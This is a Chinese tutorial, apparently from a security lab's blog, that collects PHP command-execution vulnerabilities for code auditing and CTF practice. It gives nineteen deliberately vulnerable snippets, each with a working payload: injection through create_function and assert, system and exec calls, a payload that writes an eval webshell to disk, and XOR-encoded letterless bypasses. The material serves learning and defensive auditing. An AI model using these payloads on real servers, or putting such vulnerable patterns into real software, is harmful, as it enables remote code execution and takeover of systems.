• PHP命令执行集锦


    前言

    代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下

    命令执行函数

    E.g.1
     <?php 
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    $b = "$_GET[d]";
    $array[0] =$b;
    $c = array_map($a,$array);
    ?>

    传入参数c和d,array_map函数作用将$a作为函数,$array作为参数,构造paylaod

    ?c=assert&d=system(%27ls%27);

    E.g.2
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[b]";
    $b = create_function('',$a);
    $b();
    ?>

    create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

    $b = create_function('',$a);

    这里$a为函数,' '为参数

    那么可以看作为

    function lambda(){
    echo ' ' ;
    }

    传入payload

    b= ;}phpinfo();/*

    在function函数中即

    function lambda(){
    echo ' ' ;}phpinfo();/*
    }

    后面的内容注释掉了,即执行命令

    image-20220307182804462.png

    E.g.3
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[d]";
    $b='print'.$a.';';
    $f = create_function('$a',$b);
    $f($a)

    跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:

    d=1;}system(%27ls%27);/*

    一致。

    image-20220307182819293.png

    E.g.4
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[b]";
    assert($a);
    ?>

    没什么特别之处,assert直接作为函数执行,payload:

    ?b=system(%27ls;%27)

    E.g.5
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[b]";
    $b = "$_GET[c]";
    call_user_func($a,$b);
    ?>

    call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可

    payload:

    ?b=system&c=whoami

    E.g.6
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[b]";
    $b = array($_GET['c']);
    call_user_func_array($a,$b);
    ?>

    payload:

    ?b=assert&c=system(%27whoami%27);

    E.g.7
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $_GET['a']($_GET['b']);
    ?>

    传入参数a和b,一个作为函数执行,一个做位参数,构造payload:

    ?a=assert&b=system(%27ls%27)

    E.g.8
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[b]";
    eval($a);
    ?>

    一句话木马有没有很熟悉,直接get方式传参给b即可,payload:

    ?b=system("ls");

    E.g.9
    <?php
    show_source(__FILE__);
    echo "<br>";
    echo '请输入一个a的值';
    echo "<br>";
    error_reporting(0);
    $price = $_GET['a'];
    $code = 'echo $name. '.'的美元价格是' .$price.'; ';
    $b = create_function('$name',$code);
    $b('iphone');
    ?>

    基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置

    payload:

    ?a=1;}system(%27ls%27);/*

    E.g.10
    <?php
    show_source(__FILE__);
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $database = array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
    usort($database,create_function('$a,$b',$sort_function));
    ?>

    属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload:

    ?sort_by=%27"]);}system(%27whoami%27);/*

    image-20220307182832977.png

    E.g.11
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    $b = preg_replace("/abc/e",$a,'abcd');
    var_dump($b);
    ?>

    虽然加了正则,但是并没有什么卵用,假把式,payload:

    ?c=system(%27ls%27);

    E.g.12
    <?php
    show_source(__FILE__);
    $commandExecution = "echo ";
    echo "<br>";
    system($commandExecution.$_GET['a']);
    echo "<br>";
    ?>

    payload

    ?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php

    一句话木马写入2.php

    image-20220307182905992.png

    也有其它解法直接进行命令执行。

    E.g.13
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    echo "<br>";
    exec($a,$b);
    var_dump($b);
    ?

    exec()函数直接执行命令,那么payload

    ?c=whoami

    E.g.14
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    echo shell_exec($a);
    ?

    函数的特性shell_exec

    ?c=ls>2.txt

    然后执行

    ?c=cat 2.txt

    此时

    image-20220307182917048.png

    E.g.15
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    echo "<br>";
    echo `$a`;
    ?>

    看到echo以及传入的字符串,方法类似于上面的一道

    ?c=cat%20flag.php>3.txt

    直接访问3.txt即可,或者

    ?c=cat%203.txt

    E.g.16
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $a = "$_GET[c]";
    passthru($a);
    ?>

    payload:

    ?c=cat%20flag.php

    E.g.17
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $cmd=$_GET['c'];
    $fd = popen($cmd, 'r');
    while($s=fgets($fd)){
    print_r($s);
    }
    ?>

    payload

    ?c=cat%20flag.php

    E.g.18
    <?php
    error_reporting(0);
    show_source(__FILE__);
    $command=$_GET['c'];
    $descriptorspec=array(
      0=>array('pipe','r'),
      1=>array('pipe','w'),
      2=>array('pipe','w')
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
      die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
      print_r($s);
    }
    while($s=fgets($pipes[2])){
      print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
    ?>

    payload

    ?c=cat%20flag.php

    E.g.19 无字母shell
    <?php
    include 'flag.php';
    if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){ //检测字符长度
      die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
      die("NO.");
    }
    @eval($code); //$code的值要为非字母和数字
    }else{
    highlight_file(__FILE__);
    }
    //$hint = "php function getFlag() to get flag";
    ?>

    绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可

    <?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>

    image-20220307182951085.png

    no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下

    function getflag(){

    xxxxxxxxxxxxxxxx

    }

    @eval($code);

    函数的调用就是类似于上面的过程,那么eval在执行的过程中$code并不能直接执行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:

    ?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag

    或者

    ?code=$="`{{{"^"?<>/";${$}_;&_=getFlag

    这里

    //_GET 的变形无字母shell

    $_="`{{{"^"?<>/";

    image-20220307184319718.png

    小结

    大佬请绕路,如有错误欢迎师傅们指出。

    实验推荐:PHP命令注入攻击(合天网安实验室)点击进入实操>>

    更多网安工具及学习资料,扫码免费领:

  • 相关阅读:
    Python之路_Day6
    正则表达式
    tensorflow 使用 5 mnist 数据集, softmax 函数
    数据分析 大数据之路 六 matplotlib 绘图工具
    tensorflow 使用 4 非线性回归
    tensorflow 使用 3 模型学习
    数据分析 大数据之路 五 pandas 报表
    tensorflow 使用 2 Felch ,Feed
    tensorflow 使用 1 常量,变量
    数据分析 大数据之路 四 numpy 2
  • 原文地址:https://www.cnblogs.com/hetianlab/p/16035096.html
Copyright © 2020-2023  润新知